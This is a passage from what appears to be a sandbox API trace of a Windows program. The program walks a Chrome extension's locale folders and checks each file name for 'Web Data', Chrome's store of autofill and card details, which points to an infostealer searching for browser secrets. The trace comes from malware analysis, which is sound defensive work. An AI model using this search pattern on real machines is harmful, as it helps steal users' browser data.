IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu" [0056.216] LocalFree (hMem=0x2daca0) returned 0x0 [0056.216] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu") returned 132 [0056.216] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu") returned 132 [0056.216] lstrlenA (lpString="\\*.*") returned 4 [0056.216] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2daec0 [0056.216] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu" [0056.216] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\*.*" [0056.216] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.216] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.216] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.217] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.217] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.217] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.217] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.217] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.217] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.217] LocalFree (hMem=0x2daec0) returned 0x0 [0056.217] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.217] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.217] lstrcmpiA (lpString1=".", lpString2="id") returned -1 [0056.217] lstrcmpiA (lpString1="..", lpString2="id") returned -1 [0056.217] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.217] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.217] lstrlenA (lpString="\\") returned 1 [0056.217] LocalAlloc (uFlags=0x40, uBytes=0x103) returned 0x2daca0 [0056.217] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.217] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.217] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.217] lstrlenA (lpString="id") returned 2 [0056.217] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2dadb0 [0056.217] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.217] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="id" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id" [0056.217] LocalFree (hMem=0x2daca0) returned 0x0 [0056.217] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id") returned 132 [0056.217] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id") returned 132 [0056.217] lstrlenA (lpString="\\*.*") returned 4 [0056.217] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2daec0 [0056.217] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id" [0056.217] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\*.*" [0056.217] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.217] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.217] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.217] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.217] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.217] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.217] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.217] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.217] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.217] LocalFree (hMem=0x2daec0) returned 0x0 [0056.217] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.217] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.217] lstrcmpiA (lpString1=".", lpString2="it") returned -1 [0056.217] lstrcmpiA (lpString1="..", lpString2="it") returned -1 [0056.217] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.217] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.217] lstrlenA (lpString="\\") returned 1 [0056.218] LocalAlloc (uFlags=0x40, uBytes=0x103) returned 0x2daca0 [0056.218] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.218] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.218] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.218] lstrlenA (lpString="it") returned 2 [0056.218] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2dadb0 [0056.218] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.218] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="it" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it" [0056.218] LocalFree (hMem=0x2daca0) returned 0x0 [0056.218] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it") returned 132 [0056.218] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it") returned 132 [0056.218] lstrlenA (lpString="\\*.*") returned 4 [0056.218] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2daec0 [0056.218] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it" [0056.218] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\*.*" [0056.218] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.218] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.218] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.218] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.218] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.218] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.218] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.218] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.218] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.218] LocalFree (hMem=0x2daec0) returned 0x0 [0056.218] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.218] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.218] lstrcmpiA (lpString1=".", lpString2="ja") returned -1 [0056.218] lstrcmpiA (lpString1="..", lpString2="ja") returned -1 [0056.218] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.218] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.218] lstrlenA (lpString="\\") returned 1 [0056.218] LocalAlloc (uFlags=0x40, uBytes=0x103) returned 0x2daca0 [0056.218] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.218] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.218] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.218] lstrlenA (lpString="ja") returned 2 [0056.218] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2dadb0 [0056.218] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.218] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="ja" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja" [0056.218] LocalFree (hMem=0x2daca0) returned 0x0 [0056.218] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja") returned 132 [0056.218] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja") returned 132 [0056.218] lstrlenA (lpString="\\*.*") returned 4 [0056.218] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2daec0 [0056.218] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja" [0056.218] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\*.*" [0056.218] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\*.*", lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0x2dc8b8 [0056.219] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.219] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.219] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.219] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.219] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 1 [0056.219] StrStrIA (lpFirst="messages.json", lpSrch="Web Data") returned 0x0 [0056.219] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21ef40 | out: lpFindFileData=0x21ef40) returned 0 [0056.219] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.219] LocalFree (hMem=0x2daec0) returned 0x0 [0056.219] LocalFree (hMem=0x2dadb0) returned 0x0 [0056.219] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f0d0 | out: lpFindFileData=0x21f0d0) returned 1 [0056.219] lstrcmpiA (lpString1=".", lpString2="ko") returned -1 [0056.219] lstrcmpiA (lpString1="..", lpString2="ko") returned -1 [0056.219] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.219] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned 129 [0056.219] lstrlenA (lpString="\\") returned 1 [0056.219] LocalAlloc (uFlags=0x40, uBytes=0x103) returned 0x2daca0 [0056.219] lstrcpyA (in: lpString1=0x2daca0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales" [0056.219] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.219] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned 130 [0056.219] lstrlenA (lpString="ko") returned 2 [0056.219] LocalAlloc (uFlags=0x40, uBytes=0x105) returned 0x2dadb0 [0056.219] lstrcpyA (in: lpString1=0x2dadb0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\" [0056.219] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\", lpString2="ko" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko" [0056.219] LocalFree (hMem=0x2daca0) returned 0x0 [0056.219] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko") returned 132 [0056.219] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko") returned 132 [0056.219] lstrlenA (lpString="\\*.*") returned 4 [0056.219] LocalAlloc (uFlags=0x40, uBytes=0x109) returned 0x2daec0 [0056.219] lstrcpyA (in: lpString1=0x2daec0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko" [0056.219] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User 